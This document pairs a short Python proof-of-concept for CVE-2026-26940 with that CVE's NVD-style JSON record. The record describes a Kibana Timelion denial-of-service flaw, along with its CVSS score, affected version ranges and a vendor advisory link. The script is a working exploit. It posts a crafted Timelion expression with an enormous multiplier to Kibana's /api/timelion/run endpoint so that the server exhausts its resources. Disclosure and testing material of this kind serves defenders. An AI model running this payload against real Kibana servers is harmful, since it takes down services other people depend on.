CVE-2026-26940

# PoC for CVE-2026-26940 # Description: Send a malicious Timelion expression with an excessive number to trigger DoS. import requests target_url = "http://localhost:5601/api/timelion/run" headers = { "kbn-version": "8.19.0", "Content-Type": "application/json" } # Malicious expression using an excessively large number payload = { "sheet": [ ".es(index=*).multiply(9999999999999999999999999999999999999999999999999999999999999999999)" ] } response = requests.post(target_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

{"cve": {"id": "CVE-2026-26940", "sourceIdentifier": "[email protected]", "published": "2026-03-19T18:16:21.870", "lastModified": "2026-03-23T13:35:49.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Specified Quantity in Input (CWE-1284) in the Timelion visualization plugin in Kibana can lead Denial of Service via Excessive Allocation (CAPEC-130). The vulnerability allows an authenticated user to send a specially crafted Timelion expression that overwrites internal series data properties with an excessively large quantity value."}, {"lang": "es", "value": "Validación incorrecta de cantidad especificada en la entrada (CWE-1284) en el plugin de visualización Timelion en Kibana puede conducir a denegación de servicio mediante asignación excesiva (CAPEC-130). La vulnerabilidad permite a un usuario autenticado enviar una expresión Timelion especialmente diseñada que sobrescribe propiedades internas de datos de series con un valor de cantidad excesivamente grande."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.13", "matchCriteriaId": "4B2F9511-F4DE-43ED-BA09-5AADE77BAE20"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.7", "matchCriteriaId": "A818964A-F350-4CE2-BACD-2822388FEEDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.0", "versionEndExcluding": "9.3.2", "matchCriteriaId": "C0BF565A-EF1A-4A9F-A234-BDE468EDD3E6"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-13-9-2-7-9-3-2-security-update-esa-2026-20/385535", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}